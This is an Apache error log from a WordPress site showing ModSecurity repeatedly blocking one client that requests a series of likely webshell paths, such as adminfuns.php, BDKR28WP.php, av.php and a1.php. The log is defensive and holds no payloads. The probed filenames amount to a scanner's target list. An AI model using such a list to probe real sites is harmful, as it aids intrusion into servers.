[Wed May 13 10:45:39.571701 2026] [autoindex:error] [pid 3259:tid 3276] [client 20.48.166.247:22196] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 13 10:45:41.958468 2026] [:error] [pid 3259:tid 3267] [client 20.48.166.247:22196] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agPl1eWJB4YwcPVLeArFVQAAAQY"]
[Wed May 13 10:45:42.431741 2026] [:error] [pid 23887:tid 23908] [client 20.48.166.247:22173] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agPl1tSKmvZJZkXBFDBGqwAAAM0"]
[Wed May 13 10:45:42.884487 2026] [:error] [pid 23887:tid 23897] [client 20.48.166.247:22195] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agPl1tSKmvZJZkXBFDBGrQAAAMI"]
[Wed May 13 10:45:43.402291 2026] [:error] [pid 23887:tid 23919] [client 20.48.166.247:22087] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agPl19SKmvZJZkXBFDBGrwAAANg"]
[Wed May 13 10:45:43.850852 2026] [:error] [pid 3259:tid 3264] [client 20.48.166.247:22159] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agPl1-WJB4YwcPVLeArFVgAAAQM"]
[Wed May 13 10:45:44.331353 2026] [:error] [pid 23887:tid 23913] [client 20.48.166.247:22262] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agPl2NSKmvZJZkXBFDBGsgAAANI"]
[Wed May 13 10:45:44.796766 2026] [:error] [pid 23787:tid 23860] [client 20.48.166.247:22155] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agPl2B1cs5wE7VT6wirPvQAAAIw"]
[Wed May 13 10:45:45.222987 2026] [:error] [pid 3259:tid 3265] [client 20.48.166.247:22258] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agPl2eWJB4YwcPVLeArFVwAAAQQ"]
[Wed May 13 10:45:45.715646 2026] [:error] [pid 23787:tid 23863] [client 20.48.166.247:22204] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agPl2R1cs5wE7VT6wirPwAAAAI8"]
[Wed May 13 10:45:46.167203 2026] [:error] [pid 23787:tid 23859] [client 20.48.166.247:22149] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agPl2h1cs5wE7VT6wirPwQAAAIs"]
[Wed May 13 10:45:46.711559 2026] [:error] [pid 23780:tid 23804] [client 20.48.166.247:22367] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agPl2nXgOibPjrXgeTBePgAAAAo"]
[Wed May 13 10:45:47.142520 2026] [:error] [pid 23787:tid 23866] [client 20.48.166.247:22187] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agPl2x1cs5wE7VT6wirPwwAAAJI"]
[Wed May 13 10:45:47.651166 2026] [:error] [pid 3259:tid 3279] [client 20.48.166.247:22097] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agPl2-WJB4YwcPVLeArFWAAAARI"]
[Wed May 13 10:45:48.106793 2026] [:error] [pid 23887:tid 23902] [client 20.48.166.247:22296] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agPl3NSKmvZJZkXBFDBGygAAAMc"]
[Wed May 13 10:45:48.604525 2026] [:error] [pid 3259:tid 3263] [client 20.48.166.247:22329] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agPl3OWJB4YwcPVLeArFWQAAAQI"]
[Wed May 13 10:45:49.094924 2026] [:error] [pid 23887:tid 23895] [client 20.48.166.247:22254] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agPl3dSKmvZJZkXBFDBG0AAAAMA"]
[Wed May 13 10:45:49.604113 2026] [:error] [pid 3259:tid 3268] [client 20.48.166.247:22089] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "agPl3eWJB4YwcPVLeArFWwAAAQc"]
[Wed May 13 10:45:50.120076 2026] [:error] [pid 23887:tid 23897] [client 20.48.166.247:22126] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "agPl3tSKmvZJZkXBFDBG0gAAAMI"]
[Wed May 13 10:45:50.552484 2026] [:error] [pid 3259:tid 3262] [client 20.48.166.247:22178] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "agPl3uWJB4YwcPVLeArFXAAAAQE"]
[Wed May 13 10:45:51.003150 2026] [:error] [pid 23887:tid 23910] [client 20.48.166.247:22110] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "agPl39SKmvZJZkXBFDBG1AAAAM8"]
[Wed May 13 10:45:51.456403 2026] [:error] [pid 3259:tid 3261] [client 20.48.166.247:22107] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "agPl3-WJB4YwcPVLeArFXwAAAQA"]
[Wed May 13 10:45:52.051693 2026] [:error] [pid 3259:tid 3283] [client 20.48.166.247:22179] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "agPl4OWJB4YwcPVLeArFYAAAARY"]
[Wed May 13 10:45:52.613209 2026] [:error] [pid 23782:tid 23824] [client 20.48.166.247:22297] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "agPl4CBrKFYHXUGnR-qfCwAAAEM"]
[Wed May 13 10:45:53.314915 2026] [:error] [pid 23780:tid 23794] [client 20.48.166.247:22113] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "agPl4XXgOibPjrXgeTBeTwAAAAA"]
[Wed May 13 10:45:53.767439 2026] [:error] [pid 23780:tid 23818] [client 20.48.166.247:22022] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "agPl4XXgOibPjrXgeTBeUQAAABg"]
[Wed May 13 10:45:54.274319 2026] [:error] [pid 23787:tid 23850] [client 20.48.166.247:22190] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "agPl4h1cs5wE7VT6wirPyAAAAII"]
[Wed May 13 10:45:54.770380 2026] [:error] [pid 23780:tid 23817] [client 20.48.166.247:22143] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "agPl4nXgOibPjrXgeTBeVQAAABc"]
[Wed May 13 10:45:55.323228 2026] [:error] [pid 23780:tid 23810] [client 20.48.166.247:22166] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "agPl43XgOibPjrXgeTBeVwAAABA"]
[Wed May 13 10:45:55.789577 2026] [:error] [pid 23780:tid 23816] [client 20.48.166.247:22048] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "agPl43XgOibPjrXgeTBeWQAAABY"]
[Wed May 13 10:45:56.315402 2026] [:error] [pid 23887:tid 23919] [client 20.48.166.247:22311] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "agPl5NSKmvZJZkXBFDBG3wAAANg"]
[Wed May 13 10:45:56.768479 2026] [:error] [pid 23887:tid 23908] [client 20.48.166.247:22123] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "agPl5NSKmvZJZkXBFDBG4QAAAM0"]
[Wed May 13 10:45:57.281042 2026] [:error] [pid 23887:tid 23912] [client 20.48.166.247:22240] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "agPl5dSKmvZJZkXBFDBG4gAAANE"]
[Wed May 13 10:45:57.717429 2026] [:error] [pid 23887:tid 23898] [client 20.48.166.247:22182] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "agPl5dSKmvZJZkXBFDBG5AAAAMM"]
[Wed May 13 10:45:58.195404 2026] [:error] [pid 3259:tid 3265] [client 20.48.166.247:22120] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "agPl5uWJB4YwcPVLeArFawAAAQQ"]
[Wed May 13 10:45:58.692682 2026] [:error] [pid 3259:tid 3271] [client 20.48.166.247:22082] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "agPl5uWJB4YwcPVLeArFbgAAAQo"]
[Wed May 13 10:45:59.207082 2026] [:error] [pid 23887:tid 23916] [client 20.48.166.247:22202] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "agPl59SKmvZJZkXBFDBG5gAAANU"]
[Wed May 13 10:45:59.654653 2026] [:error] [pid 23887:tid 23900] [client 20.48.166.247:22161] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agPl59SKmvZJZkXBFDBG5wAAAMU"]
[Wed May 13 10:46:00.242708 2026] [:error] [pid 23887:tid 23917] [client 20.48.166.247:22109] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agPl6NSKmvZJZkXBFDBG6AAAANY"]
[Wed May 13 10:46:01.183957 2026] [:error] [pid 23887:tid 23908] [client 20.48.166.247:22033] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agPl6dSKmvZJZkXBFDBG7AAAAM0"]
[Wed May 13 10:46:02.471921 2026] [:error] [pid 3259:tid 3282] [client 20.48.166.247:22207] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agPl6uWJB4YwcPVLeArFdwAAARU"]
[Wed May 13 10:46:02.978557 2026] [:error] [pid 3259:tid 3274] [client 20.48.166.247:22115] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "agPl6uWJB4YwcPVLeArFeAAAAQ0"]
[Wed May 13 10:46:03.431180 2026] [:error] [pid 23782:tid 23838] [client 20.48.166.247:22034] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "agPl6yBrKFYHXUGnR-qfDwAAAFE"]
[Wed May 13 10:46:03.900926 2026] [:error] [pid 23787:tid 23857] [client 20.48.166.247:22177] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "agPl6x1cs5wE7VT6wirPygAAAIk"]
[Wed May 13 10:46:04.427720 2026] [:error] [pid 23887:tid 23900] [client 20.48.166.247:22091] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "agPl7NSKmvZJZkXBFDBG9AAAAMU"]
[Wed May 13 10:46:04.861297 2026] [:error] [pid 3259:tid 3268] [client 20.48.166.247:22119] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agPl7OWJB4YwcPVLeArFfQAAAQc"]
[Wed May 13 10:46:05.339458 2026] [:error] [pid 23887:tid 23908] [client 20.48.166.247:22246] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agPl7dSKmvZJZkXBFDBG-AAAAM0"]
[Wed May 13 10:46:05.808936 2026] [:error] [pid 23887:tid 23897] [client 20.48.166.247:22135] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agPl7dSKmvZJZkXBFDBG-QAAAMI"]
[Wed May 13 10:46:06.250102 2026] [:error] [pid 23780:tid 23815] [client 20.48.166.247:22200] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agPl7nXgOibPjrXgeTBeXQAAABU"]
[Wed May 13 10:46:06.851554 2026] [:error] [pid 23780:tid 23812] [client 20.48.166.247:22176] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "agPl7nXgOibPjrXgeTBeXgAAABI"]
[Wed May 13 10:46:07.349233 2026] [:error] [pid 23787:tid 23854] [client 20.48.166.247:22099] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "agPl7x1cs5wE7VT6wirPzwAAAIY"]
[Wed May 13 10:46:07.983299 2026] [:error] [pid 23780:tid 23799] [client 20.48.166.247:22117] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "agPl73XgOibPjrXgeTBeYQAAAAU"]
[Wed May 13 10:46:08.480758 2026] [:error] [pid 23782:tid 23841] [client 20.48.166.247:22304] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "agPl8CBrKFYHXUGnR-qfEwAAAFQ"]
[Wed May 13 10:46:09.009439 2026] [:error] [pid 3259:tid 3279] [client 20.48.166.247:22142] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agPl8eWJB4YwcPVLeArFkwAAARI"]
[Wed May 13 10:46:09.576034 2026] [:error] [pid 3259:tid 3284] [client 20.48.166.247:22192] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agPl8eWJB4YwcPVLeArFlAAAARc"]
[Wed May 13 10:46:10.119193 2026] [:error] [pid 23782:tid 23821] [client 20.48.166.247:22134] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agPl8iBrKFYHXUGnR-qfFQAAAEA"]
